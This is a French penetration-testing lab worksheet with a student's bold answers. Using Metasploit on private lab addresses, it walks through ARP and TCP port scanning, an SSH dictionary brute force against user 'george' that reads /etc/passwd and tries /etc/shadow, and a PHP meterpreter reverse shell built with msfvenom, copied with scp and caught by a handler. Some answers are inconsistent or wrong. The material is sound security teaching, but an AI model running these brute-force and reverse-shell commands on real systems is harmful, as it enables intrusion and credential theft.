**TD Pentest 3 - Metasploit**

Les manipulations de ce TD concernent la phase d’EXPLOITATION DE VULNERABILITES. Vous allez découvrir l’utilisation du framework Metasploit.

# Découverte de Metasploit

Le logiciel Metasploit est une boîte à outils (framework) qui permet de faire une multitude de choses …

* 1. Lancez Metasploit AVEC LES DROITS D’ADMIN avec la commande :

msfconsole (ou sudo msfconsole)

**sudo msfconsole**

* 1. Affichez la page du manuel :

**help**

Peut-on avoir une aide plus précise ?

* 1. Affichez les attaques disponibles :

**show payloads**

Quelles autres informations permettent d’afficher la commande **show** ?

Testez tout ça, ça va vous servir !!!

# Scan réseau

La commande search permet de rechercher dans les multiples ressources de Metasploit selon des mots clés.

* 1. Cherchez des **payloads** qui permettent de scanner :

**search scan**

Combien de payloads avez-vous trouvés ?

**682**

Pouvez-vous identifier les scanners permettant la découverte du réseau ?

**scanner/http, scanner/utp, scanner/discovery**

* 1. Affichez les scanner réseau :

**search scanner/dsiscovery**

Quels sont les scanner trouvés ?

**682**

* 1. Utilisez le scanner **arp\_sweep** :

**use auxiliary/scanner/discovery/arp\_sweep**

Que devient le prompt ?

**msf6 auxiliary(scanner/discovery/arp\_sweep) >**

* 1. Affichez maintenant les options du **payload** :

**show options**

Quels sont les paramètres obligatoires ?

**Module options (auxiliary/scanner/discovery/arp\_sweep):**

**Name Current Setting Required Description**

**---- --------------- -------- -----------**

**INTERFACE no The name of the interface**

**RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html**

**SHOST no Source IP Address**

**SMAC no Source MAC Address**

**THREADS 1 yes The number of concurrent threads (max one per host)**

**TIMEOUT 5 yes The number of seconds to wait for new data**

**View the full module info with the info, or info -d command.**

* 1. Configurez le paramètre **RHOST** :

**set RHOST <@ IP>**

**set RHOST 192.168.2.23**

Vérifiez la prise en compte avec **show options**

**Module options (auxiliary/scanner/discovery/arp\_sweep):**

**Name Current Setting Required Description**

**---- --------------- -------- -----------**

**INTERFACE no The name of the interface**

**RHOSTS 192.168.40.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html**

**SHOST no Source IP Address**

**SMAC no Source MAC Address**

**THREADS 1 yes The number of concurrent threads (max one per host)**

**TIMEOUT 5 yes The number of seconds to wait for new data**

View the full module info with the info, or info -d command.

* 1. Exécutez le payload :

**run**

Qu’avez-vous découvert ?

En cas d’erreur, relancer la console Metasploit avec :

**sudo msfconsole**

Est-ce le bon payload ?

**non**

Quel payload faut-il utiliser pour scanner les port tcp ? Faites-le !

**auxiliary/scanner/portscan/tcp**

Quelles options avez-vous configurées ?

**RHOST**

**Module options (auxiliary/scanner/portscan/tcp):**

**Name Current Setting Required Description**

**---- --------------- -------- -----------**

**CONCURRENCY 10 yes The number of concurrent ports to check per host**

**DELAY 0 yes The delay between connections, per thread, in milliseconds**

**JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.**

**PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)**

**RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html**

**THREADS 1 yes The number of concurrent threads (max one per host)**

**TIMEOUT 1000 yes The socket connect timeout in milliseconds**

Quels sont les ports ouverts découverts ?

* 1. Vous pouvez quitter le **payload** avec :

**Back**

# SSH

* 1. Cherchez les payloads concernant **SSH**

**search ssh**

Quel est le numéro du scanner de **version SSH** ?

**54 auxiliary/scanner/ssh/ssh\_version normal No SSH Version Scanner**

* 1. Utilisez le scanner de version SSH trouvé précédemment. Quelles sont les options possibles ?

**use auxiliary/scanner/ssh/ssh\_version**

**show options**

**Name Current Setting Required Description**

**---- --------------- -------- -----------**

**RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html**

**RPORT 22 yes The target port (TCP)**

**THREADS 1 yes The number of concurrent threads (max one per host)**

**TIMEOUT 30 yes Timeout for the SSH probe**

**set RHOSTS 192.168.2.1**

Donnez la version SSH de la cible

* 1. Cherchez le payload **ssh\_login**

**search ssh\_login**

**use auxiliary/scanner/ssh/ssh\_login**

Que fait ce payload, quelles sont ses options ?

**show options**

**Module options (auxiliary/scanner/ssh/ssh\_login):**

**Name Current Setting Required Description**

**---- --------------- -------- -----------**

**BLANK\_PASSWORDS false no Try blank passwords for all users**

**BRUTEFORCE\_SPEED 5 yes How fast to bruteforce, from 0 to 5**

**DB\_ALL\_CREDS false no Try each user/password couple stored in the current database**

**DB\_ALL\_PASS false no Add all passwords in the current database to the list**

**DB\_ALL\_USERS false no Add all users in the current database to the list**

**DB\_SKIP\_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)**

**PASSWORD no A specific password to authenticate with**

**PASS\_FILE no File containing passwords, one per line**

**RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html**

**RPORT 22 yes The target port**

**STOP\_ON\_SUCCESS false yes Stop guessing when a credential works for a host**

**THREADS 1 yes The number of concurrent threads (max one per host)**

**USERNAME no A specific username to authenticate as**

**USERPASS\_FILE no File containing users and passwords separated by space, one pair per line**

**USER\_AS\_PASS false no Try the username as the password for all users**

**USER\_FILE no File containing usernames, one per line**

**VERBOSE false yes Whether to print output for all attempts**

* 1. Utilisez le dictionnaire **/usr/share/wordlists/password.lst** et l’utilisateur **george**

**set RHOSTS 192.168.2.23**

**set USERNAME george**

**set PASS\_FILE /usr/share/wordlists/password.lst**

* 1. Exécutez le payload et attendez un peu (pas trop)

**run**

* 1. Arrêtez le payload, mettez les options **STOP\_ON\_SUCCESS** et **VERBOSE** à **yes** et ré-exécutez le payload. Qu’en pensez-vous ?

**set STOP\_ON\_SUCCESS yes**

**set VERBOSE yes**

**run**

* 1. On va tricher un peu, on va réduire la taille du dictionnaire. Tapez la commande suivante :

**cat password.lst | grep onz > /usr/share/wordlists/reduit.lst**

Reconfigurez le payload, relancez-le et cette fois attendez …

**du coup ça va être bonzo**

* 1. Listez les sessions :

**sessions -l**

Que remarquez-vous ?

**quelqu'un**

* 1. Ouvrez la session :

**sessions <#ID de session>**

Testez quelques commandes GNU/Linux usuelles…

Pouvez-vous afficher le contenu de **/etc/passwd** ? De **/etc/shadow** ?

**cat /etc/passwd && cat /etc/shadow**

**root:x:0:0:root:/root:/bin/bash**

**daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin**

**bin:x:2:2:bin:/bin:/usr/sbin/nologin**

**sys:x:3:3:sys:/dev:/usr/sbin/nologin**

**sync:x:4:65534:sync:/bin:/bin/sync**

**games:x:5:60:games:/usr/games:/usr/sbin/nologin**

**man:x:6:12:man:/var/cache/man:/usr/sbin/nologin**

**lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin**

**mail:x:8:8:mail:/var/mail:/usr/sbin/nologin**

**news:x:9:9:news:/var/spool/news:/usr/sbin/nologin**

**uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin**

**proxy:x:13:13:proxy:/bin:/usr/sbin/nologin**

**www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin**

**backup:x:34:34:backup:/var/backups:/usr/sbin/nologin**

**list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin**

**irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin**

**gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin**

**nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin**

**\_apt:x:100:65534::/nonexistent:/usr/sbin/nologin**

**systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin**

**systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin**

**messagebus:x:103:109::/nonexistent:/usr/sbin/nologin**

**systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin**

**toto:x:1000:1000:toto,,,:/home/toto:/bin/bash**

**systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin**

**sshd:x:105:65534::/run/sshd:/usr/sbin/nologin**

**vboxadd:x:998:1::/var/run/vboxadd:/bin/false**

**ossec:x:106:112::/var/ossec/:/sbin/nologin**

**tftp:x:107:114:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin**

**bind:x:108:115::/var/cache/bind:/usr/sbin/nologin**

**Debian-snmp:x:109:116::/var/lib/snmp:/bin/false**

**george:x:1001:1001:george,,,:/home/george:/bin/bash**

**bad:x:1002:1002::/home/bad:/bin/sh**

**george@debian:~$ cat /etc/shadow**

**cat: /etc/shadow: Permission non accordée**

Quels sont les fichiers présents dans le répertoire de **george** ?

**public\_html**

Très clairement, ce payload exécuté dans ces conditions n’est pas le meilleur pour faire de la force brute sur un dictionnaire comme « rockyou » … à moins d’avoir des années devant soi. Cela dit, il recèle beaucoup d’autres fonctionnalités qui peuvent être intéressantes dans d’autres contextes.

# Reverse shell php

Dans le cadre de la phase d’**armement** (weaponization) ou d’**installation**, de la Cyber Kill Chain Metasploit permet de forger des fichiers adaptés à la cible. Voici une arme qui permet d’installer une porte dérobée sur la machine cible, sous la forme d’un shell inverse.

C’est très utile dans le cas où la machine cible se trouve derrière un pare-feu et ne dispose que d’une adresse privée (à l’exception d’un éventuel NAT statique si elle offre un service public) C’est la machine cible qui va se connecter alors à votre Metasploit (ce n’est pas très discret puisque ça révèle votre IP publique... à vous de prendre vos dispositions !).

Parmi les divers langages shell proposés, nous utiliserons PHP.

* 1. Dans le navigateur accédez au fichier **phpinfo.php** de la machine attaquée. Quel URL avez-vous tapée ?

**http://192.168.2.23/~george/phpinfo.php**

Quelle est la version de PHP ?

**7.4**

* 1. Créez un reverse shell PHP avec la commande

**msfvenom -p php/meterpreter\_reverse\_tcp lhost= … lport=9999 -f raw > shell.php**

Mettez l’adresse IP de votre Metasploit comme paramètre **lhost** ?

**msfvenom -p php/meterpreter\_reverse\_tcp lhost=192.168.2.4 lport=9999 -f raw > ad.php**

Avez-vous compris à quoi servent ces deux paramètres **lhost** et **lport** ?

**on va accèder à notre shell sur lhost & port lport**

Dans un contexte réel, il faudrait placer ce programme dans le dossier /home/george/public\_html ou autre dossier susceptible de contenir des programmes php exécutables à travers le serveur web.

Cela peut être fait par exemple par une arme envoyée en pièce jointe d’un mail ou par une exploitation de vulnérabité XSS.

Dans le cadre de ce TP, nous ferons simplement la copie en supposant que l’arme a été déclenchée et la copie réalisée …

* 1. Copiez le fichier shell.php sur la machine cible

Où et comment allez-vous copier le fichier ?

**scp ad.php george@192.168.2.23:/home/george/public\_html/.**

* 1. Sur Metasploit, lancez un serveur pour recevoir la connexion entrante :

**use exploit/multi/handler**

**set payload php/meterpreter\_reverse\_php**

Quelles options faut-il définir ?

**sudo msfconsole**

**use exploit/multi/handler**

**set payload php/meterpreter\_reverse\_tcp**

**set LHOST 192.168.2.4**

**run**

* 1. Exécutez le payload. Avec Firefox, ouvrez le fichier shell.php que vous avez copié sur la machine GNU/Linux.

Quelle URL avez-vous utilisée ? Que se passe-t-il sur Metasploit ?

**http://192.168.2.4:4444/**

**msf6 exploit(multi/handler) > set LHOST 192.168.2.4**

**LHOST => 192.168.2.4**

**msf6 exploit(multi/handler) > run**

**[-] Handler failed to bind to 192.168.2.23:4444:- -**

**[\*] Started reverse TCP handler on 0.0.0.0:4444**

**[-] Command shell session 1 is not valid and will be closed**

**[\*] 192.168.2.4 - Command shell session 1 closed.**

**[-] Command shell session 2 is not valid and will be closed**

**[\*] 192.168.2.4 - Command shell session 2 closed.**

Pouvez-vous afficher **/etc/passwd** ? /etc/shadow ?

* 1. Tapez **help**, quelles sont les commandes disponibles ?
  2. Testez **sysinfo**, quel est l’OS de la machine GNU/Linux ?Comment avoir un shell GNU/Linux ?

Pouvez-vous créer un fichier ? Pourquoi ?

La phase logique suivante consiste à faire une « escalade de privilège » et devenir root …